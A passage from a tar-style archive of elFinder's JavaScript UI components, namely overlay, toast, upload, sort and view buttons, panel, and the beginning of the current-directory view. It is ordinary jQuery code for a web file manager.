				mimes  = e.data.mimes || [];
			}
		})
		.bind('search', function(e) {
			var dirs = [],
				html = '';
			if (target) {
				html = render(target);
			} else {
				html = fm.i18n('btnAll');
			}
			path.html('<span class="elfinder-path-other">'+fm.i18n('searcresult') + ': </span>' + html);
			fit();
		})
		// on swipe to navbar show/hide
		.bind('navbarshow navbarhide', function() {
			var wz = fm.getUI('workzone');
			if (this.type === 'navbarshow') {
				fm.unbind('open', toWorkzone);
				path.prependTo(fm.getUI('statusbar'));
				wzbase.detach();
				place = 'statusbar';
			} else {
				wzbase.append(path).insertBefore(wz);
				place = 'workzone';
				toWorkzone();
				fm.bind('open', toWorkzone);
			}
			fm.trigger('uiresize');
		})
		.bind('resize uistatchange', fit);
	});
};
overlay.js000066600000001711151754206170006577 0ustar00
jQuery.fn.elfinderoverlay = function(opts) {
	"use strict";
	var fm = this.parent().elfinder('instance'),
		o, cnt, show, hide;
	
	this.filter(':not(.elfinder-overlay)').each(function() {
		opts = Object.assign({}, opts);
		jQuery(this).addClass('ui-front ui-widget-overlay elfinder-overlay')
			.hide()
			.on('mousedown', function(e) {
				e.preventDefault();
				e.stopPropagation();
			})
			.data({
				cnt  : 0,
				show : typeof(opts.show) == 'function' ? opts.show : function() { },
				hide : typeof(opts.hide) == 'function' ? opts.hide : function() { }
			});
	});
	
	if (opts == 'show') {
		o    = this.eq(0);
		cnt  = o.data('cnt') + 1;
		show = o.data('show');

		fm.toFront(o);
		o.data('cnt', cnt);

		if (o.is(':hidden')) {
			o.show();
			show();
		}
	} 
	
	if (opts == 'hide') {
		o    = this.eq(0);
		cnt  = o.data('cnt') - 1;
		hide = o.data('hide');
		
		o.data('cnt', cnt);
			
		if (cnt <= 0) {
			o.hide();
			hide();
		}
	}
	
	return this;
};
toast.js000066600000005201151754206170006246 0ustar00/**
 * @class  elFinder toast
 * 
 * This was created inspired by the toastr. Thanks to developers of toastr.
 * CodeSeven/toastr: http://johnpapa.net <https://github.com/CodeSeven/toastr>
 *
 * @author Naoki Sawada
 **/
jQuery.fn.elfindertoast = function(opts, fm) {
	"use strict";
	var defOpts = Object.assign({
		mode: 'success', // or 'info', 'warning' and 'error'
		msg: '',
		showMethod: 'fadeIn', //fadeIn, slideDown, and show are built into jQuery
		showDuration: 300,
		showEasing: 'swing', //swing and linear are built into jQuery
		onShown: undefined,
		hideMethod: 'fadeOut',
		hideDuration: 1500,
		hideEasing: 'swing',
		onHidden: undefined,
		timeOut: 3000,
		extNode: undefined,
		button: undefined,
		width: undefined
	}, jQuery.isPlainObject(fm.options.uiOptions.toast.defaults)? fm.options.uiOptions.toast.defaults : {});
	return this.each(function() {
		opts = Object.assign({}, defOpts, opts || {});
		
		var self = jQuery(this),
			show = function(notm) {
				self.stop();
				fm.toFront(self);
				self[opts.showMethod]({
					duration: opts.showDuration,
					easing: opts.showEasing,
					complete: function() {
						opts.onShown && opts.onShown();
						if (!notm && opts.timeOut) {
							rmTm = setTimeout(rm, opts.timeOut);
						}
					}
				});
			},
			rm = function() {
				self[opts.hideMethod]({
					duration: opts.hideDuration,
					easing: opts.hideEasing,
					complete: function() {
						opts.onHidden && opts.onHidden();
						self.remove();
					}
				});
			},
			rmTm;
		
		self.on('click', function(e) {
			e.stopPropagation();
			e.preventDefault();
			rmTm && clearTimeout(rmTm);
			opts.onHidden && opts.onHidden();
			self.stop().remove();
		}).on('mouseenter mouseleave', function(e) {
			if (opts.timeOut) {
				rmTm && clearTimeout(rmTm);
				rmTm = null;
				if (e.type === 'mouseenter') {
					show(true);
				} else {
					rmTm = setTimeout(rm, opts.timeOut);
				}
			}
		}).hide().addClass('toast-' + opts.mode).append(jQuery('<div class="elfinder-toast-msg"></div>').html(opts.msg.replace(/%([a-zA-Z0-9]+)%/g, function(m, m1) {
			return fm.i18n(m1);
		})));
		
		if (opts.extNode) {
			self.append(opts.extNode);
		}

		if (opts.button) {
			self.append(
				jQuery('<button class="ui-button ui-widget ui-state-default ui-corner-all elfinder-tabstop"></button>')
				.append(jQuery('<span class="ui-button-text"></span>').text(fm.i18n(opts.button.text)))
				.on('mouseenter mouseleave', function(e) { 
					jQuery(this).toggleClass('ui-state-hover', e.type == 'mouseenter');
				})
				.on('click', opts.button.click || function(){})
			);
		}

		if (opts.width) {
			self.css('max-width', opts.width);
		}
		
		show();
	});
};uploadButton.js000066600000002060151754206170007574 0ustar00/**
 * @class  elFinder toolbar's button tor upload file
 *
 * @author Dmitry (dio) Levashov
 **/
jQuery.fn.elfinderuploadbutton = function(cmd) {
	"use strict";
	return this.each(function() {
		var fm = cmd.fm,
			button = jQuery(this).elfinderbutton(cmd)
				.off('click'), 
			form = jQuery('<form></form>').appendTo(button),
			input = jQuery('<input type="file" multiple="true" title="'+cmd.fm.i18n('selectForUpload')+'"/>')
				.on('change', function() {
					var _input = jQuery(this);
					if (_input.val()) {
						fm.exec('upload', {input : _input.remove()[0]}, void(0), fm.cwd().hash);
						input.clone(true).appendTo(form);
					} 
				})
				.on('dragover', function(e) {
					e.originalEvent.dataTransfer.dropEffect = 'copy';
				}),
			tm;

		form.append(input.clone(true));
				
		cmd.change(function() {
			tm && cancelAnimationFrame(tm);
			tm = requestAnimationFrame(function() {
				var toShow = cmd.disabled();
				if (form.is('visible')) {
					!toShow && form.hide();
				} else {
					toShow && form.show();
				}
			});
		})
		.change();
	});
};
sortbutton.js000066600000007246151754206170007352 0ustar00/**
 * @class  elFinder toolbar button menu with sort variants.
 *
 * @author Dmitry (dio) Levashov
 **/
jQuery.fn.elfindersortbutton = function(cmd) {
	"use strict";
	return this.each(function() {
		var fm       = cmd.fm,
			name     = cmd.name,
			c        = 'class',
			disabled = fm.res(c, 'disabled'),
			hover    = fm.res(c, 'hover'),
			item     = 'elfinder-button-menu-item',
			selected = item+'-selected',
			asc      = selected+'-asc',
			desc     = selected+'-desc',
			text     = jQuery('<span class="elfinder-button-text">'+cmd.title+'</span>'),
			button   = jQuery(this).addClass('ui-state-default elfinder-button elfinder-menubutton elfiner-button-'+name)
				.attr('title', cmd.title)
				.append('<span class="elfinder-button-icon elfinder-button-icon-'+name+'"></span>', text)
				.on('mouseenter mouseleave', function(e) { !button.hasClass(disabled) && button.toggleClass(hover, e.type === 'mouseenter'); })
				.on('click', function(e) {
					if (!button.hasClass(disabled)) {
						e.stopPropagation();
						menu.is(':hidden') && fm.getUI().click();
						menu.css(getMenuOffset()).slideToggle({
							duration: 100,
							done: function(e) {
								fm[menu.is(':visible')? 'toFront' : 'toHide'](menu);
							}
						});
					}
				}),
			hide = function() { fm.toHide(menu); },
			menu = jQuery('<div class="ui-front ui-widget ui-widget-content elfinder-button-menu elfinder-button-sort-menu ui-corner-all"></div>')
				.hide()
				.appendTo(fm.getUI())
				.on('mouseenter mouseleave', '.'+item, function(e) { jQuery(this).toggleClass(hover, e.type === 'mouseenter'); })
				.on('click', function(e) {
					e.preventDefault();
					e.stopPropagation();
				})
				.on('close', hide),
			update = function() {
				menu.children('[rel]').removeClass(selected+' '+asc+' '+desc)
					.filter('[rel="'+fm.sortType+'"]')
					.addClass(selected+' '+(fm.sortOrder == 'asc' ? asc : desc));

				menu.children('.elfinder-sort-stick').toggleClass(selected, fm.sortStickFolders);
				menu.children('.elfinder-sort-tree').toggleClass(selected, fm.sortAlsoTreeview);
			},
			getMenuOffset = function() {
				var baseOffset = fm.getUI().offset(),
					buttonOffset = button.offset();
				return {
					top : buttonOffset.top - baseOffset.top,
					left : buttonOffset.left - baseOffset.left
				};
			},
			tm;
			
		text.hide();
		
		jQuery.each(fm.sortRules, function(name, value) {
			menu.append(jQuery('<div class="'+item+'" rel="'+name+'"><span class="ui-icon ui-icon-arrowthick-1-n"></span><span class="ui-icon ui-icon-arrowthick-1-s"></span>'+fm.i18n('sort'+name)+'</div>').data('type', name));
		});
		
		menu.children().on('click', function(e) {
			cmd.exec([], jQuery(this).removeClass(hover).attr('rel'));
		});
		
		jQuery('<div class="'+item+' '+item+'-separated elfinder-sort-ext elfinder-sort-stick"><span class="ui-icon ui-icon-check"></span>'+fm.i18n('sortFoldersFirst')+'</div>')
			.appendTo(menu)
			.on('click', function() {
				cmd.exec([], 'stick');
			});

		fm.one('init', function() {
			if (fm.ui.tree && fm.options.sortAlsoTreeview !== null) {
				jQuery('<div class="'+item+' '+item+'-separated elfinder-sort-ext elfinder-sort-tree"><span class="ui-icon ui-icon-check"></span>'+fm.i18n('sortAlsoTreeview')+'</div>')
				.appendTo(menu)
				.on('click', function() {
					cmd.exec([], 'tree');
				});
			}
		})
		.bind('disable select', hide)
		.bind('sortchange', update).getUI().on('click', hide);
		
		if (menu.children().length > 1) {
			cmd.change(function() {
					tm && cancelAnimationFrame(tm);
					tm = requestAnimationFrame(function() {
						button.toggleClass(disabled, cmd.disabled());
						update();
					});
				})
				.change();
		} else {
			button.addClass(disabled);
		}

	});
	
};
viewbutton.js000066600000001402151754206170007321 0ustar00/**
 * @class  elFinder toolbar button to switch current directory view.
 *
 * @author Dmitry (dio) Levashov
 **/
jQuery.fn.elfinderviewbutton = function(cmd) {
	"use strict";
	return this.each(function() {
		var button = jQuery(this).elfinderbutton(cmd),
			icon   = button.children('.elfinder-button-icon'),
			text   = button.children('.elfinder-button-text'),
			tm;

		cmd.change(function() {
			tm && cancelAnimationFrame(tm);
			tm = requestAnimationFrame(function() {
				var icons = cmd.value == 'icons';

				icon.toggleClass('elfinder-button-icon-view-list', icons);
				cmd.className = icons? 'view-list' : '';
				cmd.title = cmd.fm.i18n(icons ? 'viewlist' : 'viewicons');
				button.attr('title', cmd.title);
				text.html(cmd.title);
			});
		});
	});
};
panel.js000066600000001057151754206170006220 0ustar00jQuery.fn.elfinderpanel = function(fm) {
	"use strict";
	return this.each(function() {
		var panel = jQuery(this).addClass('elfinder-panel ui-state-default ui-corner-all'),
			margin = 'margin-'+(fm.direction == 'ltr' ? 'left' : 'right');
		
		fm.one('load', function(e) {
			var navbar = fm.getUI('navbar');
			
			panel.css(margin, parseInt(navbar.outerWidth(true)));
			navbar.on('resize', function(e) {
				e.preventDefault();
				e.stopPropagation();
				panel.is(':visible') && panel.css(margin, parseInt(navbar.outerWidth(true)));
			});
		});
	});
};
cwd.js000066600000256776151754206170005722 0ustar00/**
 * elFinder current working directory ui.
 *
 * @author Dmitry (dio) Levashov
 **/
jQuery.fn.elfindercwd = function(fm, options) {
	"use strict";
	this.not('.elfinder-cwd').each(function() {
		// fm.time('cwdLoad');
		
		var mobile = fm.UA.Mobile,
			list = fm.viewType == 'list',

			undef = 'undefined',
			/**
			 * Select event full name
			 *
			 * @type String
			 **/
			evtSelect = 'select.'+fm.namespace,
			
			/**
			 * Unselect event full name
			 *
			 * @type String
			 **/
			evtUnselect = 'unselect.'+fm.namespace,
			
			/**
			 * Disable event full name
			 *
			 * @type String
			 **/
			evtDisable = 'disable.'+fm.namespace,
			
			/**
			 * Disable event full name
			 *
			 * @type String
			 **/
			evtEnable = 'enable.'+fm.namespace,
			
			c = 'class',
			/**
			 * File css class
			 *
			 * @type String
			 **/
			clFile       = fm.res(c, 'cwdfile'),
			
			/**
			 * Selected css class
			 *
			 * @type String
			 **/
			fileSelector = '.'+clFile,
			
			/**
			 * Selected css class
			 *
			 * @type String
			 **/
			clSelected = 'ui-selected',
			
			/**
			 * Disabled css class
			 *
			 * @type String
			 **/
			clDisabled = fm.res(c, 'disabled'),
			
			/**
			 * Draggable css class
			 *
			 * @type String
			 **/
			clDraggable = fm.res(c, 'draggable'),
			
			/**
			 * Droppable css class
			 *
			 * @type String
			 **/
			clDroppable = fm.res(c, 'droppable'),
			
			/**
			 * Hover css class
			 *
			 * @type String
			 **/
			clHover     = fm.res(c, 'hover'),

			/**
			 * Active css class
			 *
			 * @type String
			 **/
			clActive     = fm.res(c, 'active'),

			/**
			 * Hover css class
			 *
			 * @type String
			 **/
			clDropActive = fm.res(c, 'adroppable'),

			/**
			 * Css class for temporary nodes (for mkdir/mkfile) commands
			 *
			 * @type String
			 **/
			clTmp = clFile+'-tmp',

			/**
			 * Select checkbox css class
			 * 
			 * @type String
			 */
			clSelChk = 'elfinder-cwd-selectchk',

			/**
			 * Number of thumbnails to load in one request (new api only)
			 *
			 * @type Number
			 **/
			tmbNum = fm.options.loadTmbs > 0 ? fm.options.loadTmbs : 5,
			
			/**
			 * Current search query.
			 *
			 * @type String
			 */
			query = '',

			/**
			 * Currect clipboard(cut) hashes as object key
			 * 
			 * @type Object
			 */
			clipCuts = {},

			/**
			 * Parents hashes of cwd
			 *
			 * @type Array
			 */
			cwdParents = [],
			
			/**
			 * cwd current hashes
			 * 
			 * @type Array
			 */
			cwdHashes = [],

			/**
			 * incsearch current hashes
			 * 
			 * @type Array
			 */
			incHashes = void 0,

			/**
			 * Custom columns name and order
			 *
			 * @type Array
			 */
			customCols = [],

			/**
			 * Current clicked element id of first time for dblclick
			 * 
			 * @type String
			 */
			curClickId = '',

			/**
			 * Custom columns builder
			 *
			 * @type Function
			 */
			customColsBuild = function() {
				var cols = '';
				for (var i = 0; i < customCols.length; i++) {
					cols += '<td class="elfinder-col-'+customCols[i]+'">{' + customCols[i] + '}</td>';
				}
				return cols;
			},

			/**
			 * Make template.row from customCols
			 *
			 * @type Function
			 */
			makeTemplateRow = function() {
				return '<tr id="{id}" class="'+clFile+' {permsclass} {dirclass}" title="{tooltip}"{css}><td class="elfinder-col-name"><div class="elfinder-cwd-file-wrapper"><span class="elfinder-cwd-icon {mime}"{style}></span>{marker}<span class="elfinder-cwd-filename">{name}</span></div>'+selectCheckbox+'</td>'+customColsBuild()+'</tr>';
			},
			
			selectCheckbox = (jQuery.map(options.showSelectCheckboxUA, function(t) {return (fm.UA[t] || t.match(/^all$/i))? true : null;}).length)? '<div class="elfinder-cwd-select"><input type="checkbox" class="'+clSelChk+'"></div>' : '',

			colResizing = false,
			
			colWidth = null,

			/**
			 * Table header height
			 */
			thHeight,

			/**
			 * File templates
			 *
			 * @type Object
			 **/
			templates = {
				icon : '<div id="{id}" class="'+clFile+' {permsclass} {dirclass} ui-corner-all" title="{tooltip}"><div class="elfinder-cwd-file-wrapper ui-corner-all"><div class="elfinder-cwd-icon {mime} ui-corner-all" unselectable="on"{style}></div>{marker}</div><div class="elfinder-cwd-filename" title="{nametitle}">{name}</div>'+selectCheckbox+'</div>',
				row  : ''
			},
			
			permsTpl = fm.res('tpl', 'perms'),
			
			lockTpl = fm.res('tpl', 'lock'),
			
			symlinkTpl = fm.res('tpl', 'symlink'),
			
			/**
			 * Template placeholders replacement rules
			 *
			 * @type Object
			 **/
			replacement = {
				id : function(f) {
					return fm.cwdHash2Id(f.hash);
				},
				name : function(f) {
					var name = fm.escape(f.i18 || f.name);
					!list && (name = name.replace(/([_.])/g, '&#8203;$1'));
					return name;
				},
				nametitle : function(f) {
					return fm.escape(f.i18 || f.name);
				},
				permsclass : function(f) {
					return fm.perms2class(f);
				},
				perm : function(f) {
					return fm.formatPermissions(f);
				},
				dirclass : function(f) {
					var cName = f.mime == 'directory' ? 'directory' : '';
					f.isroot && (cName += ' isroot');
					f.csscls && (cName += ' ' + fm.escape(f.csscls));
					options.getClass && (cName += ' ' + options.getClass(f));
					return cName;
				},
				style : function(f) {
					return f.icon? fm.getIconStyle(f) : '';
				},
				mime : function(f) {
					var cName = fm.mime2class(f.mime);
					f.icon && (cName += ' elfinder-cwd-bgurl');
					return cName;
				},
				size : function(f) {
					return (f.mime === 'directory' && !f.size)? '-' : fm.formatSize(f.size);
				},
				date : function(f) {
					return fm.formatDate(f);
				},
				kind : function(f) {
					return fm.mime2kind(f);
				},
				mode : function(f) {
					return f.perm? fm.formatFileMode(f.perm) : '';
				},
				modestr : function(f) {
					return f.perm? fm.formatFileMode(f.perm, 'string') : '';
				},
				modeoct : function(f) {
					return f.perm? fm.formatFileMode(f.perm, 'octal') : '';
				},
				modeboth : function(f) {
					return f.perm? fm.formatFileMode(f.perm, 'both') : '';
				},
				marker : function(f) {
					return (f.alias || f.mime == 'symlink-broken' ? symlinkTpl : '')+(!f.read || !f.write ? permsTpl : '')+(f.locked ? lockTpl : '');
				},
				tooltip : function(f) {
					var title = fm.formatDate(f) + (f.size > 0 ? ' ('+fm.formatSize(f.size)+')' : ''),
						info  = '';
					if (query && f.path) {
						info = fm.escape(f.path.replace(/\/[^\/]*$/, ''));
					} else {
						info = f.tooltip? fm.escape(f.tooltip).replace(/\r/g, '&#13;') : '';
					}
					if (list) {
						info += (info? '&#13;' : '') + fm.escape(f.i18 || f.name);
					}
					return info? info + '&#13;' + title : title;
				}
			},
			
			/**
			 * Type badge CSS added flag
			 * 
			 * @type Object
			 */
			addedBadges = {},
			
			/**
			 * Type badge style sheet element
			 * 
			 * @type Object
			 */
			addBadgeStyleSheet,
			
			/**
			 * Add type badge CSS into 'head'
			 * 
			 * @type Fundtion
			 */
			addBadgeStyle = function(mime, name) {
				var sel, ext, type;
				if (mime && ! addedBadges[mime]) {
					if (typeof addBadgeStyleSheet === 'undefined') {
						if (jQuery('#elfinderAddBadgeStyle'+fm.namespace).length) {
							jQuery('#elfinderAddBadgeStyle'+fm.namespace).remove();
						}
						addBadgeStyleSheet = jQuery('<style id="addBadgeStyle'+fm.namespace+'"></style>').insertBefore(jQuery('head').children(':first')).get(0).sheet || null;
					}
					if (addBadgeStyleSheet) {
						mime = mime.toLowerCase();
						type = mime.split('/');
						ext = fm.escape(fm.mimeTypes[mime] || (name.replace(/.bac?k$/i, '').match(/\.([^.]+)$/) || ['',''])[1]);
						if (ext) {
							sel = '.elfinder-cwd-icon-' + type[0].replace(/(\.|\+)/g, '-');
							if (typeof type[1] !== 'undefined') {
								sel += '.elfinder-cwd-icon-' + type[1].replace(/(\.|\+)/g, '-');
							}
							try {
								addBadgeStyleSheet.insertRule(sel + ':before{content:"' + ext.toLowerCase() + '"}', 0);
							} catch(e) {}
						}
						addedBadges[mime] = true;
					}
				}
			},
			
			/**
			 * Return file html
			 *
			 * @param  Object  file info
			 * @return String
			 **/
			itemhtml = function(f) {
				f.mime && f.mime !== 'directory' && !addedBadges[f.mime] && addBadgeStyle(f.mime, f.name);
				return templates[list ? 'row' : 'icon']
						.replace(/\{([a-z0-9_]+)\}/g, function(s, e) { 
							return replacement[e] ? replacement[e](f, fm) : (f[e] ? f[e] : ''); 
						});
			},
			
			/**
			 * jQueery node that will be selected next
			 * 
			 * @type Object jQuery node
			 */
			selectedNext = jQuery(),
			
			/**
			 * Flag. Required for msie to avoid unselect files on dragstart
			 *
			 * @type Boolean
			 **/
			selectLock = false,
			
			/**
			 * Move selection to prev/next file
			 *
			 * @param String  move direction
			 * @param Boolean append to current selection
			 * @return void
			 * @rise select			
			 */
			select = function(keyCode, append) {
				var code     = jQuery.ui.keyCode,
					prev     = keyCode == code.LEFT || keyCode == code.UP,
					sel      = cwd.find('[id].'+clSelected),
					selector = prev ? 'first:' : 'last',
					s, n, sib, top, left;

				function sibling(n, direction) {
					return n[direction+'All']('[id]:not(.'+clDisabled+'):not(.elfinder-cwd-parent):first');
				}
				
				if (sel.length) {
					s = sel.filter(prev ? ':first' : ':last');
					sib = sibling(s, prev ? 'prev' : 'next');
					
					if (!sib.length) {
						// there is no sibling on required side - do not move selection
						n = s;
					} else if (list || keyCode == code.LEFT || keyCode == code.RIGHT) {
						// find real prevoius file
						n = sib;
					} else {
						// find up/down side file in icons view
						top = s.position().top;
						left = s.position().left;

						n = s;
						if (prev) {
							do {
								n = n.prev('[id]');
							} while (n.length && !(n.position().top < top && n.position().left <= left));

							if (n.hasClass(clDisabled)) {
								n = sibling(n, 'next');
							}
						} else {
							do {
								n = n.next('[id]');
							} while (n.length && !(n.position().top > top && n.position().left >= left));
							
							if (n.hasClass(clDisabled)) {
								n = sibling(n, 'prev');
							}
							// there is row before last one - select last file
							if (!n.length) {
								sib = cwd.find('[id]:not(.'+clDisabled+'):last');
								if (sib.position().top > top) {
									n = sib;
								}
							}
						}
					}
					// !append && unselectAll();
				} else {
					if (selectedNext.length) {
						n = prev? selectedNext.prev() : selectedNext;
					} else {
						// there are no selected file - select first/last one
						n = cwd.find('[id]:not(.'+clDisabled+'):not(.elfinder-cwd-parent):'+(prev ? 'last' : 'first'));
					}
				}
				
				if (n && n.length && !n.hasClass('elfinder-cwd-parent')) {
					if (s && append) {
						// append new files to selected
						n = s.add(s[prev ? 'prevUntil' : 'nextUntil']('#'+n.attr('id'))).add(n);
					} else {
						// unselect selected files
						sel.trigger(evtUnselect);
					}
					// select file(s)
					n.trigger(evtSelect);
					// set its visible
					scrollToView(n.filter(prev ? ':first' : ':last'));
					// update cache/view
					trigger();
				}
			},
			
			selectedFiles = {},
			
			selectFile = function(hash) {
				fm.cwdHash2Elm(hash).trigger(evtSelect);
			},
			
			allSelected = false,
			
			selectAll = function() {
				var phash = fm.cwd().hash;

				selectCheckbox && selectAllCheckbox.find('input').prop('checked', true);
				fm.lazy(function() {
					var files;
					if (fm.maxTargets && (incHashes || cwdHashes).length > fm.maxTargets) {
						unselectAll({ notrigger: true });
						files = jQuery.map(incHashes || cwdHashes, function(hash) { return fm.file(hash) || null; });
						files = files.slice(0, fm.maxTargets);
						selectedFiles = {};
						jQuery.each(files, function(i, v) {
							selectedFiles[v.hash] = true;
							fm.cwdHash2Elm(v.hash).trigger(evtSelect);
						});
						fm.toast({mode: 'warning', msg: fm.i18n(['errMaxTargets', fm.maxTargets])});
					} else {
						cwd.find('[id]:not(.'+clSelected+'):not(.elfinder-cwd-parent)').trigger(evtSelect);
						selectedFiles = fm.arrayFlip(incHashes || cwdHashes, true);
					}
					trigger();
					selectCheckbox && selectAllCheckbox.data('pending', false);
				}, 0, {repaint: true});
			},
			
			/**
			 * Unselect all files
			 *
			 * @param  Object  options
			 * @return void
			 */
			unselectAll = function(opts) {
				var o = opts || {};
				selectCheckbox && selectAllCheckbox.find('input').prop('checked', false);
				if (Object.keys(selectedFiles).length) {
					selectLock = false;
					selectedFiles = {};
					cwd.find('[id].'+clSelected).trigger(evtUnselect);
					selectCheckbox && cwd.find('input:checkbox.'+clSelChk).prop('checked', false);
				}
				!o.notrigger && trigger();
				selectCheckbox && selectAllCheckbox.data('pending', false);
				cwd.removeClass('elfinder-cwd-allselected');
			},
			
			selectInvert = function() {
				var invHashes = {};
				if (allSelected) {
					unselectAll();
				} else if (! Object.keys(selectedFiles).length) {
					selectAll();
				} else {
					jQuery.each((incHashes || cwdHashes), function(i, h) {
						var itemNode = fm.cwdHash2Elm(h);
						if (! selectedFiles[h]) {
							invHashes[h] = true;
							itemNode.length && itemNode.trigger(evtSelect);
						} else {
							itemNode.length && itemNode.trigger(evtUnselect);
						}
					});
					selectedFiles = invHashes;
					trigger();
				}
			},
			
			/**
			 * Return selected files hashes list
			 *
			 * @return Array
			 */
			selected = function() {
				return Object.keys(selectedFiles);
			},
			
			/**
			 * Last selected node id
			 * 
			 * @type String|Void
			 */
			lastSelect = void 0,
			
			/**
			 * Fire elfinder "select" event and pass selected files to it
			 *
			 * @return void
			 */
			trigger = function() {
				var selected = Object.keys(selectedFiles),
					opts = {
						selected : selected,
						origin : 'cwd'
					};
				
				if (oldSchoolItem && (selected.length > 1 || selected[0] !== fm.cwdId2Hash(
					oldSchoolItem.attr('id'))) && oldSchoolItem.hasClass(clSelected)) {
					oldSchoolItem.trigger(evtUnselect);
				}
				allSelected = selected.length && (selected.length === (incHashes || cwdHashes).length) && (!fm.maxTargets || selected.length <= fm.maxTargets);
				if (selectCheckbox) {
					selectAllCheckbox.find('input').prop('checked', allSelected);
					cwd[allSelected? 'addClass' : 'removeClass']('elfinder-cwd-allselected');
				}
				if (allSelected) {
					opts.selectall = true;
				} else if (! selected.length) {
					opts.unselectall = true;
				}
				fm.trigger('select', opts);
			},
			
			/**
			 * Scroll file to set it visible
			 *
			 * @param DOMElement  file/dir node
			 * @return void
			 */
			scrollToView = function(o, blink) {
				if (! o.length) {
					return;
				}
				var ftop    = o.position().top,
					fheight = o.outerHeight(true),
					wtop    = wrapper.scrollTop(),
					wheight = wrapper.get(0).clientHeight,
					thheight = tableHeader? tableHeader.outerHeight(true) : 0;

				if (ftop + thheight + fheight > wtop + wheight) {
					wrapper.scrollTop(parseInt(ftop + thheight + fheight - wheight));
				} else if (ftop < wtop) {
					wrapper.scrollTop(ftop);
				}
				list && wrapper.scrollLeft(0);
				!!blink && fm.resources.blink(o, 'lookme');
			},
			
			/**
			 * Files we get from server but not show yet
			 *
			 * @type Array
			 **/
			buffer = [],
			
			/**
			 * Extra data of buffer
			 *
			 * @type Object
			 **/
			bufferExt = {},
			
			/**
			 * Return index of elements with required hash in buffer 
			 *
			 * @param String  file hash
			 * @return Number
			 */
			index = function(hash) {
				var l = buffer.length;
				
				while (l--) {
					if (buffer[l].hash == hash) {
						return l;
					}
				}
				return -1;
			},
			
			/**
			 * Scroll start event name
			 *
			 * @type String
			 **/
			scrollStartEvent = 'elfscrstart',
			
			/**
			 * Scroll stop event name
			 *
			 * @type String
			 **/
			scrollEvent = 'elfscrstop',
			
			scrolling = false,
			
			/**
			 * jQuery UI selectable option
			 * 
			 * @type Object
			 */
			selectableOption = {
				disabled   : true,
				filter     : '[id]:first',
				stop       : trigger,
				delay      : 250,
				appendTo   : 'body',
				autoRefresh: false,
				selected   : function(e, ui) { jQuery(ui.selected).trigger(evtSelect); },
				unselected : function(e, ui) { jQuery(ui.unselected).trigger(evtUnselect); }
			},
			
			/**
			 * hashes of items displayed in current view
			 * 
			 * @type Object  ItemHash => DomId
			 */
			inViewHashes = {},
			
			/**
			 * Processing when the current view is changed (On open, search, scroll, resize etc.)
			 * 
			 * @return void
			 */
			wrapperRepaint = function(init, recnt) {
				if (!bufferExt.renderd) {
					return;
				}
				var firstNode = (list? cwd.find('tbody:first') : cwd).children('[id]'+(options.oldSchool? ':not(.elfinder-cwd-parent)' : '')+':first');
				if (!firstNode.length) {
					return;
				}
				var selectable = cwd.data('selectable'),
					rec = (function() {
						var wos = wrapper.offset(),
							ww = wrapper.width(),
							w = jQuery(window),
							x = firstNode.width() / 2,
							l = Math.min(wos.left - w.scrollLeft() + (fm.direction === 'ltr'? x : ww - x), wos.left + ww - 10),
							t = wos.top - w.scrollTop() + 10 + (list? thHeight : 0);
						return {left: Math.max(0, Math.round(l)), top: Math.max(0, Math.round(t))};
					})(),
					tgt = init? firstNode : jQuery(document.elementFromPoint(rec.left , rec.top)),
					ids = {},
					tmbs = {},
					multi = 5,
					cnt = Math.ceil((bufferExt.hpi? Math.ceil((wz.data('rectangle').height / bufferExt.hpi) * 1.5) : showFiles) / multi),
					chk = function() {
						var id, hash, file, i;
						for (i = 0; i < multi; i++) {
							id = tgt.attr('id');
							if (id) {
								bufferExt.getTmbs = [];
								hash = fm.cwdId2Hash(id);
								inViewHashes[hash] = id;
								// for tmbs
								if (bufferExt.attachTmbs[hash]) {
									tmbs[hash] = bufferExt.attachTmbs[hash];
								}
								// for selectable
								selectable && (ids[id] = true);
							}
							// next node
							tgt = tgt.next();
							if (!tgt.length) {
								break;
							}
						}
					},
					done = function() {
						var idsArr;
						if (cwd.data('selectable')) {
							Object.assign(ids, selectedFiles);
							idsArr = Object.keys(ids);
							if (idsArr.length) {
								selectableOption.filter = '#'+idsArr.join(', #');
								cwd.selectable('enable').selectable('option', {filter : selectableOption.filter}).selectable('refresh');
							}
						}
						if (Object.keys(tmbs).length) {
							bufferExt.getTmbs = [];
							attachThumbnails(tmbs);
						}
					},
					setTarget = function() {
						if (!tgt.hasClass(clFile)) {
							tgt = tgt.closest(fileSelector);
						}
					},
					arr, widget;
				
				inViewHashes = {};
				selectable && cwd.selectable('option', 'disabled');
				
				if (tgt.length) {
					if (!tgt.hasClass(clFile) && !tgt.closest(fileSelector).length) {
						// dialog, serach button etc.
						widget = fm.getUI().find('.ui-dialog:visible,.ui-widget:visible');
						if (widget.length) {
							widget.hide();
							tgt = jQuery(document.elementFromPoint(rec.left , rec.top));
							widget.show();
						} else {
							widget = null;
						}
					}
					setTarget();
					if (!tgt.length) {
						// try search 5px down
						widget && widget.hide();
						tgt = jQuery(document.elementFromPoint(rec.left , rec.top + 5));
						widget && widget.show();
						setTarget();
					}
				}

				if (tgt.length) {
					if (tgt.attr('id')) {
						if (init) {
							for (var i = 0; i < cnt; i++) {
								chk();
								if (! tgt.length) {
									break;
								}
							}
							done();
						} else {
							bufferExt.repaintJob && bufferExt.repaintJob.state() === 'pending' && bufferExt.repaintJob.reject();
							arr = new Array(cnt);
							bufferExt.repaintJob = fm.asyncJob(function() {
								chk();
								if (! tgt.length) {
									done();
									bufferExt.repaintJob && bufferExt.repaintJob.state() === 'pending' && bufferExt.repaintJob.reject();
								}
							}, arr).done(done);
						}
					}
				} else if (init && bufferExt.renderd) {
					// In initial request, cwd DOM not renderd so doing lazy check
					recnt = recnt || 0;
					if (recnt < 10) { // Prevent infinite loop
						requestAnimationFrame(function() {
							wrapperRepaint(init, ++recnt);
						});
					}
				}
			},
			
			/**
			 * Item node of oldScholl ".."
			 */
			oldSchoolItem = null,

			/**
			 * display parent folder with ".." name
			 * 
			 * @param  String  phash
			 * @return void
			 */
			oldSchool = function(p) {
				var phash = fm.cwd().phash,
					pdir  = fm.file(phash) || null,
					set   = function(pdir) {
						if (pdir) {
							oldSchoolItem = jQuery(itemhtml(jQuery.extend(true, {}, pdir, {name : '..', i18 : '..', mime : 'directory'})))
								.addClass('elfinder-cwd-parent')
								.on('dblclick', function() {
									fm.trigger('select', {selected : [phash]}).exec('open', phash);
								});
							(list ? oldSchoolItem.children('td:first') : oldSchoolItem).children('.elfinder-cwd-select').remove();
							if (fm.cwdHash2Elm(phash).length) {
								fm.cwdHash2Elm(phash).replaceWith(oldSchoolItem);
							} else {
